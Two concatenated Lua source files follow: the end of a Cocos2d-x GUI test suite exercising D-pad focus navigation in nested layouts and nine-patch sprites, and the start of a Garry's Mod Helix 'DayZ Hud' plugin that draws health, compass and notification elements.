local function onUpKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_UP, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onDownKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_DOWN, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
self._dpadMenu = cc.Menu:create()
local winSize = cc.Director:getInstance():getVisibleSize()
local leftItem = cc.MenuItemFont:create("Left")
leftItem:setPosition(cc.p(winSize.width - 100, winSize.height/2))
leftItem:registerScriptTapHandler(onLeftKeyPressed)
self._dpadMenu:addChild(leftItem)
local rightItem = cc.MenuItemFont:create("Right")
rightItem:setPosition(cc.p(winSize.width - 30, winSize.height/2))
rightItem:registerScriptTapHandler(onRightKeyPressed)
self._dpadMenu:addChild(rightItem)
local upItem = cc.MenuItemFont:create("Up")
upItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 + 50))
upItem:registerScriptTapHandler(onUpKeyPressed)
self._dpadMenu:addChild(upItem)
local downItem = cc.MenuItemFont:create("Down")
downItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 - 50))
downItem:registerScriptTapHandler(onDownKeyPressed)
self._dpadMenu:addChild(downItem)
self._dpadMenu:setPosition(cc.p(0, 0))
self._uiLayer:addChild(self._dpadMenu)
ccui.Widget:enableDpadNavigation(true)
local function onFocusChanged(widgetLostFocus,widgetGetFocus)
if nil ~= widgetGetFocus and widgetGetFocus:isFocusEnabled() then
widgetGetFocus:setColor(cc.c3b(255, 0, 0))
end
if nil ~= widgetLostFocus and widgetLostFocus:isFocusEnabled() then
widgetLostFocus:setColor(cc.c3b(255, 255, 255))
end
if nil ~= widgetLostFocus and nil ~= widgetGetFocus then
print(string.format("on focus change, %d widget get focus, %d widget lose focus", widgetGetFocus:getTag(), widgetLostFocus:getTag()))
end
end
local eventListener = cc.EventListenerFocus:create()
eventListener:registerScriptHandler(onFocusChanged)
local eventDispatcher = self:getEventDispatcher()
eventDispatcher:addEventListenerWithFixedPriority(eventListener, 1)
local function onExit(tag)
if tag == "exit" then
if eventListener ~= nil then
eventDispatcher:removeEventListener(eventListener)
end
end
end
self:registerScriptHandler(onExit)
local winSize = cc.Director:getInstance():getVisibleSize()
self._verticalLayout = ccui.VBox:create()
self._verticalLayout:setPosition(cc.p(winSize.width/2 - 80, winSize.height - 70))
self._uiLayer:addChild(self._verticalLayout)
self._verticalLayout:setScale(0.5)
self._verticalLayout:setFocused(true)
self._verticalLayout:setLoopFocus(true)
self._verticalLayout:setTag(100)
self._firstFocusedWidget = self._verticalLayout
local function onImageViewClicked(sender, eventType)
if eventType == ccui.TouchEventType.ended then
local w = sender
if w:isFocusEnabled() then
w:setFocusEnabled(false)
w:setColor(cc.c3b(255, 255, 0))
else
w:setFocusEnabled(true)
w:setColor(cc.c3b(255, 255, 255))
end
end
end
local count1 = 1
for i = 1, count1 do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setAnchorPoint(cc.p(0, 0))
imageView:setTouchEnabled(true)
imageView:setScaleX(2.5)
imageView:setTag(i - 1 + count1)
imageView:addTouchEventListener(onImageViewClicked)
self._verticalLayout:addChild(imageView)
end
local hbox = ccui.HBox:create()
hbox:setScale(0.8)
hbox:setTag(101)
self._verticalLayout:addChild(hbox)
local count2 = 2
for i = 1, count2 do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setAnchorPoint(cc.p(0, 1))
imageView:setScaleY(2.0)
imageView:setTouchEnabled(true)
imageView:setTag(i - 1 + count1 + count2)
imageView:addTouchEventListener(onImageViewClicked)
hbox:addChild(imageView)
end
local innerVBox = ccui.VBox:create()
hbox:addChild(innerVBox)
innerVBox:setTag(102)
local count3 = 2
for i = 1, count3 do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setTouchEnabled(true)
imageView:setTag(i - 1 + count1 + count2 + count3)
imageView:addTouchEventListener(onImageViewClicked)
innerVBox:addChild(imageView)
end
self._loopText = ccui.Text:create("loop enabled", "Arial", 20)
self._loopText:setPosition(cc.p(winSize.width/2, winSize.height - 50))
self._loopText:setColor(cc.c3b(255, 0 ,0))
self:addChild(self._loopText)
local function toggleFocusLoop(sender, eventType)
if eventType == ccui.TouchEventType.ended then
self._verticalLayout:setLoopFocus(not self._verticalLayout:isLoopFocus())
if self._verticalLayout:isLoopFocus() then
self._loopText:setString("loop enabled")
else
self._loopText:setString("loop disabled")
end
end
end
local btn = ccui.Button:create("cocosui/switch-mask.png")
btn:setTitleText("Toggle Loop")
btn:setPosition(cc.p(60, winSize.height - 50))
btn:setTitleColor(cc.c3b(0, 255, 0))
btn:addTouchEventListener(toggleFocusLoop)
self:addChild(btn)
end
end)
add_new_testcase(function()
local UIFocusTestNestedLayout2 = create("UIFocusTestNestedLayout2",UIScene)
function UIFocusTestNestedLayout2:initExtend()
self._displayValueLabel:setString("")
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
background:removeFromParent(true)
local function onLeftKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_LEFT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onRightKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_RIGHT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onUpKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_UP, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onDownKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_DOWN, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
self._dpadMenu = cc.Menu:create()
local winSize = cc.Director:getInstance():getVisibleSize()
local leftItem = cc.MenuItemFont:create("Left")
leftItem:setPosition(cc.p(winSize.width - 100, winSize.height/2))
leftItem:registerScriptTapHandler(onLeftKeyPressed)
self._dpadMenu:addChild(leftItem)
local rightItem = cc.MenuItemFont:create("Right")
rightItem:setPosition(cc.p(winSize.width - 30, winSize.height/2))
rightItem:registerScriptTapHandler(onRightKeyPressed)
self._dpadMenu:addChild(rightItem)
local upItem = cc.MenuItemFont:create("Up")
upItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 + 50))
upItem:registerScriptTapHandler(onUpKeyPressed)
self._dpadMenu:addChild(upItem)
local downItem = cc.MenuItemFont:create("Down")
downItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 - 50))
downItem:registerScriptTapHandler(onDownKeyPressed)
self._dpadMenu:addChild(downItem)
self._dpadMenu:setPosition(cc.p(0, 0))
self._uiLayer:addChild(self._dpadMenu)
ccui.Widget:enableDpadNavigation(true)
local function onFocusChanged(widgetLostFocus,widgetGetFocus)
if nil ~= widgetGetFocus and widgetGetFocus:isFocusEnabled() then
widgetGetFocus:setColor(cc.c3b(255, 0, 0))
end
if nil ~= widgetLostFocus and widgetLostFocus:isFocusEnabled() then
widgetLostFocus:setColor(cc.c3b(255, 255, 255))
end
if nil ~= widgetLostFocus and nil ~= widgetGetFocus then
print(string.format("on focus change, %d widget get focus, %d widget lose focus", widgetGetFocus:getTag(), widgetLostFocus:getTag()))
end
end
local eventListener = cc.EventListenerFocus:create()
eventListener:registerScriptHandler(onFocusChanged)
local eventDispatcher = self:getEventDispatcher()
eventDispatcher:addEventListenerWithFixedPriority(eventListener, 1)
local function onExit(tag)
if tag == "exit" then
if eventListener ~= nil then
eventDispatcher:removeEventListener(eventListener)
end
end
end
self:registerScriptHandler(onExit)
local winSize = cc.Director:getInstance():getVisibleSize()
self._horizontalLayout = ccui.HBox:create()
self._horizontalLayout:setPosition(cc.p(winSize.width/2 - 200, winSize.height - 70))
self._uiLayer:addChild(self._horizontalLayout)
self._horizontalLayout:setScale(0.6)
self._horizontalLayout:setFocused(true)
self._horizontalLayout:setLoopFocus(true)
self._horizontalLayout:setTag(100)
self._firstFocusedWidget = self._horizontalLayout
local function onImageViewClicked(sender, eventType)
if eventType == ccui.TouchEventType.ended then
local w = sender
if w:isFocusEnabled() then
w:setFocusEnabled(false)
w:setColor(cc.c3b(255, 255, 0))
else
w:setFocusEnabled(true)
w:setColor(cc.c3b(255, 255, 255))
end
end
end
local count1 = 2
for i = 1, count1 do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setAnchorPoint(cc.p(0, 1))
imageView:setTouchEnabled(true)
imageView:setScaleY(2.4)
imageView:setTag(i - 1 + count1)
imageView:addTouchEventListener(onImageViewClicked)
self._horizontalLayout:addChild(imageView)
end
local vbox = ccui.VBox:create()
vbox:setScale(0.8)
vbox:setTag(101)
self._horizontalLayout:addChild(vbox)
local count2 = 2
for i = 1, count2 do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setAnchorPoint(cc.p(0, 1))
imageView:setScaleX(2.0)
imageView:setTouchEnabled(true)
imageView:setTag(i - 1 + count1 + count2)
imageView:addTouchEventListener(onImageViewClicked)
vbox:addChild(imageView)
end
local innerVBox = ccui.HBox:create()
vbox:addChild(innerVBox)
innerVBox:setTag(102)
local count3 = 2
for i = 1, count3 do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setTouchEnabled(true)
imageView:setTag(i - 1 + count1 + count2 + count3)
imageView:addTouchEventListener(onImageViewClicked)
innerVBox:addChild(imageView)
end
self._loopText = ccui.Text:create("loop enabled", "Arial", 20)
self._loopText:setPosition(cc.p(winSize.width/2, winSize.height - 50))
self._loopText:setColor(cc.c3b(255, 0 ,0))
self:addChild(self._loopText)
local function toggleFocusLoop(sender, eventType)
if eventType == ccui.TouchEventType.ended then
self._horizontalLayout:setLoopFocus(not self._horizontalLayout:isLoopFocus())
if self._horizontalLayout:isLoopFocus() then
self._loopText:setString("loop enabled")
else
self._loopText:setString("loop disabled")
end
end
end
local btn = ccui.Button:create("cocosui/switch-mask.png")
btn:setTitleText("Toggle Loop")
btn:setPosition(cc.p(60, winSize.height - 50))
btn:setTitleColor(cc.c3b(0, 255, 0))
btn:addTouchEventListener(toggleFocusLoop)
self:addChild(btn)
end
end)
add_new_testcase(function()
local UIFocusTestNestedLayout3 = create("UIFocusTestNestedLayout3",UIScene)
function UIFocusTestNestedLayout3:initExtend()
self._displayValueLabel:setString("")
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
background:removeFromParent(true)
local function onLeftKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_LEFT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onRightKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_RIGHT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onUpKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_UP, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onDownKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_DOWN, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
self._dpadMenu = cc.Menu:create()
local winSize = cc.Director:getInstance():getVisibleSize()
local leftItem = cc.MenuItemFont:create("Left")
leftItem:setPosition(cc.p(winSize.width - 100, winSize.height/2))
leftItem:registerScriptTapHandler(onLeftKeyPressed)
self._dpadMenu:addChild(leftItem)
local rightItem = cc.MenuItemFont:create("Right")
rightItem:setPosition(cc.p(winSize.width - 30, winSize.height/2))
rightItem:registerScriptTapHandler(onRightKeyPressed)
self._dpadMenu:addChild(rightItem)
local upItem = cc.MenuItemFont:create("Up")
upItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 + 50))
upItem:registerScriptTapHandler(onUpKeyPressed)
self._dpadMenu:addChild(upItem)
local downItem = cc.MenuItemFont:create("Down")
downItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 - 50))
downItem:registerScriptTapHandler(onDownKeyPressed)
self._dpadMenu:addChild(downItem)
self._dpadMenu:setPosition(cc.p(0, 0))
self._uiLayer:addChild(self._dpadMenu)
ccui.Widget:enableDpadNavigation(true)
local function onFocusChanged(widgetLostFocus,widgetGetFocus)
if nil ~= widgetGetFocus and widgetGetFocus:isFocusEnabled() then
widgetGetFocus:setColor(cc.c3b(255, 0, 0))
end
if nil ~= widgetLostFocus and widgetLostFocus:isFocusEnabled() then
widgetLostFocus:setColor(cc.c3b(255, 255, 255))
end
if nil ~= widgetLostFocus and nil ~= widgetGetFocus then
print(string.format("on focus change, %d widget get focus, %d widget lose focus", widgetGetFocus:getTag(), widgetLostFocus:getTag()))
end
end
local eventListener = cc.EventListenerFocus:create()
eventListener:registerScriptHandler(onFocusChanged)
local eventDispatcher = self:getEventDispatcher()
eventDispatcher:addEventListenerWithFixedPriority(eventListener, 1)
local function onExit(tag)
if tag == "exit" then
if eventListener ~= nil then
eventDispatcher:removeEventListener(eventListener)
end
end
end
self:registerScriptHandler(onExit)
local winSize = cc.Director:getInstance():getVisibleSize()
self._verticalLayout = ccui.VBox:create()
self._verticalLayout:setPosition(cc.p(40, winSize.height - 70))
self._uiLayer:addChild(self._verticalLayout)
self._verticalLayout:setScale(0.8)
self._verticalLayout:setFocused(true)
self._verticalLayout:setLoopFocus(true)
self._verticalLayout:setTag(-1000)
self._firstFocusedWidget = self._verticalLayout
local upperHBox = ccui.HBox:create()
upperHBox:setTag(-200)
self._verticalLayout:addChild(upperHBox)
local params = ccui.LinearLayoutParameter:create()
params:setMargin({left = 0, top = 0, right = 50, bottom = 0})
local vparams = ccui.LinearLayoutParameter:create()
vparams:setMargin({left = 10, top = 0, right = 0, bottom = 140})
upperHBox:setLayoutParameter(vparams)
local function onImageViewClicked(sender, eventType)
if eventType == ccui.TouchEventType.ended then
local w = sender
if w:isFocusEnabled() then
w:setFocusEnabled(false)
w:setColor(cc.c3b(255, 255, 0))
else
w:setFocusEnabled(true)
w:setColor(cc.c3b(255, 255, 255))
end
end
end
local count = 3
for i = 1, count do
local firstVbox = ccui.VBox:create()
firstVbox:setScale(0.5)
firstVbox:setLayoutParameter(params)
firstVbox:setTag(i * 100)
local count1 = 3
for j = 1, count1 do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setTouchEnabled(true)
imageView:setTag(j + firstVbox:getTag())
imageView:addTouchEventListener(onImageViewClicked)
firstVbox:addChild(imageView)
end
upperHBox:addChild(firstVbox)
end
local bottomHBox = ccui.HBox:create()
bottomHBox:setScale(0.5)
bottomHBox:setTag(600)
bottomHBox:setLayoutParameter(vparams)
count = 3
local bottomParams = ccui.LinearLayoutParameter:create()
bottomParams:setMargin({left = 0, top = 0, right = 8, bottom = 0})
for i = 1, count do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setLayoutParameter(bottomParams)
imageView:setTouchEnabled(true)
imageView:setTag(i + 600)
imageView:addTouchEventListener(onImageViewClicked)
bottomHBox:addChild(imageView)
end
self._verticalLayout:addChild(bottomHBox)
self._loopText = ccui.Text:create("loop enabled", "Arial", 20)
self._loopText:setPosition(cc.p(winSize.width/2, winSize.height - 50))
self._loopText:setColor(cc.c3b(255, 0 ,0))
self:addChild(self._loopText)
local function toggleFocusLoop(sender, eventType)
if eventType == ccui.TouchEventType.ended then
self._verticalLayout:setLoopFocus(not self._verticalLayout:isLoopFocus())
if self._verticalLayout:isLoopFocus() then
self._loopText:setString("loop enabled")
else
self._loopText:setString("loop disabled")
end
end
end
local btn = ccui.Button:create("cocosui/switch-mask.png")
btn:setTitleText("Toggle Loop")
btn:setPosition(cc.p(60, winSize.height - 50))
btn:setTitleColor(cc.c3b(0, 255, 0))
btn:addTouchEventListener(toggleFocusLoop)
self:addChild(btn)
end
end)
add_new_testcase(function()
local UIS9NinePatchTest = create( "UIS9NinePatchTest", UIScene)
function UIS9NinePatchTest:initExtend()
cc.SpriteFrameCache:getInstance():addSpriteFrames("cocosui/android9patch.plist")
local winSize = cc.Director:getInstance():getWinSize()
local x = winSize.width / 2
local y = 0 + (winSize.height / 2 + 50)
local preferedSize = cc.size(99,99)
--9-patch sprite with filename
local playerSprite = ccui.Scale9Sprite:create("cocosui/player.9.png")
playerSprite:setPosition(x, y)
playerSprite:setContentSize(preferedSize)
local capInsets = playerSprite:getCapInsets()
print(string.format("player sprite capInset = %f, %f %f, %f", capInsets.x,
capInsets.y, capInsets.width, capInsets.height))
self:addChild(playerSprite)
local animationBtnSprite = ccui.Scale9Sprite:createWithSpriteFrameName("animationbuttonpressed.png")
animationBtnSprite:setPosition(x-100, y-100)
capInsets = animationBtnSprite:getCapInsets()
print(string.format("animationBtnSprite capInset = %f, %f %f, %f", capInsets.x,
capInsets.y, capInsets.width, capInsets.height))
self:addChild(animationBtnSprite)
local monsterSprite = ccui.Scale9Sprite:createWithSpriteFrameName("monster.9.png")
monsterSprite:setPosition(x+100, y-100)
capInsets = monsterSprite:getCapInsets()
monsterSprite:setContentSize(preferedSize)
print(string.format("monsterSprite capInset = %f, %f %f, %f", capInsets.x,
capInsets.y, capInsets.width, capInsets.height))
self:addChild(monsterSprite)
local spriteFrame = cc.SpriteFrameCache:getInstance():getSpriteFrame("buttonnormal.9.png")
local buttonScale9Sprite = ccui.Scale9Sprite:createWithSpriteFrame(spriteFrame)
buttonScale9Sprite:setContentSize(cc.size(150,80))
buttonScale9Sprite:setPosition(cc.p(100,200))
self:addChild(buttonScale9Sprite)
end
end)
function guiSceneManager.nextUIScene()
guiSceneManager.currentUISceneIdx = (guiSceneManager.currentUISceneIdx + 1) % table.getn(cocoStudioGuiArray)
if 0 == guiSceneManager.currentUISceneIdx then
guiSceneManager.currentUISceneIdx = table.getn(cocoStudioGuiArray)
end
return cocoStudioGuiArray[guiSceneManager.currentUISceneIdx].func()
end
function guiSceneManager.previousUIScene()
guiSceneManager.currentUISceneIdx = guiSceneManager.currentUISceneIdx - 1
if guiSceneManager.currentUISceneIdx <= 0 then
guiSceneManager.currentUISceneIdx = guiSceneManager.currentUISceneIdx + table.getn(cocoStudioGuiArray)
end
return cocoStudioGuiArray[guiSceneManager.currentUISceneIdx].func()
end
function guiSceneManager.currentUIScene()
return cocoStudioGuiArray[guiSceneManager.currentUISceneIdx].func()
end
function runCocosGUITestScene()
local scene = guiSceneManager.currentUIScene()
cc.Director:getInstance():replaceScene(scene)
end
|
PLUGIN.name = "DayZ Hud"
PLUGIN.author = "Black Tea | STEAM_0:1:29606990"
PLUGIN.description = ""
if (SERVER) then
util.AddNetworkString("ixUpdateRep")
util.AddNetworkString("ixHUDShineText")
do
local playerMeta = FindMetaTable("Player")
function playerMeta:NotifyShine(text, time, color)
net.Start("ixHUDShineText")
net.WriteString(text)
net.WriteUInt(time or 5, 16)
net.WriteColor(color or color_white)
net.Send(self)
end
end
else
local SH_SZ = SH_SZ
local Color, LocalPlayer, surface, math, ColorAlpha = Color, LocalPlayer, surface, math, ColorAlpha
local FrameTime, CurTime = FrameTime, CurTime
function PLUGIN:CanDrawAmmoHUD(weapon)
if (weapon.ArcCW) then
return false
end
end
function PLUGIN:ShouldHideBars() return true end
function PLUGIN:ShouldBarDraw() return false end
function PLUGIN:PostDeathNotice(victim)
local index = victim:EntIndex()
ix.net[index] = ix.net[index] or {}
ix.net[index]["bleeding"] = nil
end
local faded_black = ColorAlpha(color_black, 200)
ix.option.Add("colorOutlineItems", ix.type.color, Color("sky_blue"), {
category = "colors"
})
local hud = {}
local sscale = ScreenScale
local dbox = draw.RoundedBox
hud.lang = {}
function hud.ResetLang()
hud.lang = {
radiation = L("Radiation"):utf8upper(),
well_fed = L("well_fed"):utf8upper(),
safezone = L("safezone_title"):utf8upper(),
hunger = L("needs_hunger"):utf8upper(),
thirst = L("needs_thirst"):utf8upper(),
stamina = L("Endurance"):utf8upper(),
l = ix.option.Get("language", "english")
}
end
function PLUGIN:LoadFonts(font)
surface.CreateFont("ixDHUDNum", {
font = font,
size = ix.util.ScreenScaleH(13),
weight = 400, -- 100
})
surface.CreateFont("ixDHUDNum2", {
font = font,
size = math.min(24, sscale(10)), -- ScrH() / 480 * 10
weight = 400, -- 100
})
surface.CreateFont("nutDHUDIcon", {
font = "fontello",
extended = true,
size = ix.util.ScreenScaleH(14),
weight = 1500,
})
surface.CreateFont("nutDHUDIcon2", {
font = "fontello",
extended = true,
size = sscale(10),
weight = 400,
})
surface.CreateFont("nutDHUDIcon3", {
font = "fontello",
extended = true,
size = sscale(6),
weight = 400,
})
surface.CreateFont("nutDHUDFont", {
font = font,
extended = true,
size = sscale(8),
weight = 400,
})
surface.CreateFont("nutDHUDFont2", {
font = font,
extended = true,
size = sscale(11),
weight = 400,
})
hud.ResetLang()
end
local percHistories = {}
function hud:percDisp(wok, title, percent, reverse)
percHistories[title] = percHistories[title] or {}
local meme = percHistories[title]
meme.memes = meme.memes or percent
meme.alpha = meme.alpha or 0
local x, y, w, h = wok.x, wok.y, wok.w, wok.h
surface.SetFont("ixNoticeFont")
local tx = surface.GetTextSize(title)
w = w / 4 + tx + sscale(2)
dbox(wok.rnd or 8, x, y, w, h, faded_black)
y = y - sscale(2)
ix.util.DrawText(title, x + w/2, y + h/2, wok.textColor or color_white, TEXT_ALIGN_CENTER, 4, "ixNoticeFont")
local colorFade = 100
if (reverse == true) then
if (percent >= 75) then
colorFade = (RealTime() * 150) % 100
end
else
if (percent < 25) then
colorFade = (RealTime() * 150) % 100
end
end
local colorWider = Color(255, 155 + colorFade, 155 + colorFade)
if (meme.memes != percent) then
meme.alpha = 255
else
if (meme.alpha > 0) then
meme.alpha = math.max(meme.alpha - FrameTime() - 5, 0)
end
end
local a, b = x + w/2, y + h/2
ix.util.DrawText(percent .. "%", a, b, colorWider, TEXT_ALIGN_CENTER, 5, "ixDHUDNum")
ix.util.DrawText(percent .. "%", a, b, ColorAlpha(colorWider, meme.alpha), TEXT_ALIGN_CENTER, 5, "ixDHUDNum")
meme.memes = percent
wok.w = w
end
function hud:edgyBar(wok, color)
local x, y, w, h = wok.x, wok.y, wok.w, wok.h
dbox(wok.rnd or 8, x, y, w, h, faded_black)
local tx, ty = ix.util.DrawText("A", x + sscale(4), y + h/2 - sscale(1), color_white, 3, 1, "nutDHUDIcon")
local totallen = w - tx - sscale(12)
local maxHP = LocalPlayer():GetMaxHealth()
local HP = LocalPlayer():Health()
self.awto = Lerp(FrameTime() * 5, self.awto or HP, HP)
surface.SetDrawColor(192, 57, 43, 75)
surface.DrawRect(x + sscale(8) + tx, y + sscale(3), totallen, h - sscale(5))
surface.SetDrawColor(192, 57, 43)
surface.DrawRect(x + sscale(8) + tx, y + sscale(3), totallen * math.min(maxHP, self.awto) / maxHP, h - sscale(5))
HP = math.Clamp(math.Round(self.awto), 0, maxHP)
local xHP = ix.util.DrawText(HP .. "%", x + sscale(4) + tx + 10, y + h/2 - sscale(1), color_white, 3, TEXT_ALIGN_CENTER, "ixDHUDNum2")
if (LocalPlayer():ExtraHealth() > 0) then
ix.util.DrawText(Format("(+%d)", LocalPlayer():ExtraHealth()), x + sscale(4) + tx + 15 + xHP, y + h/2 - sscale(1), color_white, 3, TEXT_ALIGN_CENTER, "ixDHUDNum2")
end
end
function hud:drawText(wok, title, font)
font = font or "nutDHUDFont"
local x, y, w, h = wok.x, wok.y, wok.w, wok.h
surface.SetFont(font)
local tx = surface.GetTextSize(title)
w = w / 4 + tx + sscale(2)
dbox(wok.rnd or 8, x, y, w, h, faded_black)
ix.util.DrawText(title, x + w/2, y + h/2 - sscale(1), wok.textColor or color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, font)
end
function hud:status(wok, text, icon, bNotFixSize)
local x, y, w, h = wok.x, wok.y, wok.w, wok.h
if (!bNotFixSize) then
surface.SetFont("nutDHUDFont")
local tx = surface.GetTextSize(text)
w = w / 2 + tx + sscale(2)
end
dbox(wok.rnd or 8, x, y, w, h, faded_black)
local tx, ty = ix.util.DrawText(icon or "Z", x + sscale(4), y + h/2 - sscale(1), color_white, 3, TEXT_ALIGN_CENTER, "nutDHUDIcon2")
local next = w/2 + tx + sscale(2)
ix.util.DrawText(text, next, y + h/2 - sscale(1), wok.textColor or color_white, 1, TEXT_ALIGN_CENTER, "nutDHUDFont")
end
local dirName = {
[12] = "N",
[0] = "E",
[-12] = "S",
[24] = "W",
[-24] = "W",
}
function hud:compass(wok)
local x, y, w, h = wok.x, wok.y, wok.w, wok.h
dbox(wok.rnd or 8, x, y, w, h, faded_black)
surface.SetDrawColor(color_white)
local startX, endX = x + sscale(5), x + w - sscale(5)
local displayW = (endX - startX)
local angola = EyeAngles().y
local dir = angola/7.5 -- 90 is north, -90 is south -180/180 is west 0 is east
local macOpt = (displayW)/24
local a, b = math.floor(dir-12), math.ceil(dir+12)
a = (a + 24)%48 - 24
b = (b + 24)%48 - 24
for i = -24, 23 do
-- POSITION DEPENDANCY
if (a > b) then
if (i > b and i < a) then
continue
end
else
if (i > b or i < a) then
continue
end
end
local pos
if (a > b) then
if (dir < 0) then -- 좌측
if (i > 0) then
pos = endX - macOpt*(i - 36 - dir)
else
pos = endX - macOpt*(i + 12 - dir)
end
elseif (dir >= 0) then -- 우측 -- 마이너스가 오른쪽
if (i < 0) then
pos = endX - macOpt*(i + 60 - dir)
else
pos = endX - macOpt*(i + 12 - dir)
end
end
else
pos = endX - macOpt*(i + 12 - dir)
end
pos = math.Clamp(pos, startX, endX)
if (i%6 == 0) then
if (dirName[i]) then
ix.util.DrawText(dirName[i], pos, y + h - sscale(10), color_white, 1, TEXT_ALIGN_CENTER, "nutDHUDFont")
end
surface.DrawLine(pos, y + h - sscale(2), pos, y + h - sscale(6.5))
else
surface.DrawLine(pos, y + h - sscale(2), pos, y + h - sscale(5))
end
end
--SCHEMA.targets = {
for _, v in ipairs(ents.FindByClass("ix_item")) do
if (LocalPlayer():GetPos():DistToSqr(v:GetPos()) < (262144)) then
local angola = math.NormalizeAngle((v:GetPos() - LocalPlayer():GetPos()):Angle().y)
local target = angola/7.5
local pos
if (a > b) then
if (dir < 0) then -- 좌측
if (target > 0) then
pos = endX - macOpt*(target - 36 - dir)
else
pos = endX - macOpt*(target + 12 - dir)
end
elseif (dir >= 0) then -- 우측 -- 마이너스가 오른쪽
if (target < 0) then
pos = endX - macOpt*(target + 60 - dir)
else
pos = endX - macOpt*(target + 12 - dir)
end
end
else
pos = endX - macOpt*(target + 12 - dir)
end
pos = math.Clamp(pos, startX, endX)
ix.util.DrawText("c", pos, y + h - sscale(10), color_white, 1, TEXT_ALIGN_CENTER, "nutDHUDIcon3")
end
end
end
hud.noti = {}
local function addText(text, time, color)
local wow = {str = 0, text = text, time = CurTime() + time, alpha = 0, aalpha = 155, gloss = false, color = color}
hud.noti[#hud.noti + 1] = wow
end
net.Receive("ixHUDShineText", function()
local text = net.ReadString()
local time = net.ReadUInt(16)
local color = net.ReadColor()
addText(L(text), time or 5, color or color_white)
end)
net.Receive("ixUpdateRep", function()
local bandit = net.ReadBool()
local repDiff = net.ReadUInt(16)
if (bandit) then
addText(Format("%s -%d", L"reputation", repDiff), 4, Color("red"))
else
addText(Format("%s +%d", L"reputation", repDiff), 4, Color("dark_lime"))
end
end)
local GLOW_MATERIAL = Material("sprites/glow04_noz.vmt")
function hud:drawNotifications()
local x, y = ScrW()/2, ScrH()/4*3
local blyat = 0
local cnt = 0
for k, v in pairs(hud.noti) do
cnt = cnt + 1
v.y = v.y or y + blyat
v.y = Lerp(FrameTime() * 10, v.y, y + blyat)
if (cnt > 5) then
v.time = CurTime() + 3
continue
end
if (v.time < CurTime()) then
if (v.alpha < 5) then
table.remove(hud.noti, k)
continue
end
v.alpha = Lerp(FrameTime()*3, v.alpha, 0)
else
v.alpha = Lerp(FrameTime()*3, v.alpha, 255)
end
if (v.gloss) then
v.aalpha = Lerp(FrameTime()*5, v.aalpha, 0)
else
if (v.aalpha > 150) then
v.gloss = true
end
v.aalpha = Lerp(FrameTime()*15, v.aalpha, 255)
end
v.str = Lerp(FrameTime()*4, v.str, 4)
local tx, ty = ix.util.DrawText(v.text, x, v.y, ColorAlpha(v.color or color_white, v.alpha), 1, TEXT_ALIGN_CENTER, "nutDHUDFont2")
surface.SetMaterial(GLOW_MATERIAL)
surface.SetDrawColor(ColorAlpha(v.color or color_white, v.aalpha))
blyat = blyat + ty*1.1
tx, ty = tx*(2 + v.str*0.8), ty*(v.str*1.3)
surface.DrawTexturedRect(x - tx/2, v.y - ty/2, tx, ty)
end
end
--do
-- ix_item toScreen
--local rangeSize, angleCos = 80, math.cos(math.rad(45))
--local shadowColor = Color(66, 66, 66)
--hook.Add("PostDrawTranslucentRenderables", "PostDrawTranslucentRenderables.ix_item", function(bDepth, bSkybox)
-- if (bDepth or bSkybox or !LocalPlayer():GetCharacter()) then return end
-- local startPos = LocalPlayer():EyePos()
-- local dir = LocalPlayer():GetAimVector()
-- local entities = ents.FindInCone(startPos, dir, rangeSize, angleCos)
-- for _, ent in ipairs(entities) do
-- if (IsValid(ent) and ent:GetClass() == "ix_item") then
-- if (IsValid(ix.gui.entityInfo) and ix.gui.entityInfo.entity == ent) then continue end
-- local item = ent:GetItemTable()
-- local quantity = ent:GetData("quantity", 1)
-- local text = item:GetName()
-- if (quantity >= 2) then
-- text = Format("%s (x%d)", text, quantity)
-- end
-- cam.Start2D()
-- local centerScreen = ent:GetPos():ToScreen()
-- draw.SimpleTextOutlined(text, "ixNoticeFont",
-- centerScreen.x, centerScreen.y, color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, shadowColor
-- )
-- cam.End2D()
-- end
-- end
--end)
--end
local breathSound = Sound("gmodz/player/stamina.wav")
function PLUGIN:Think()
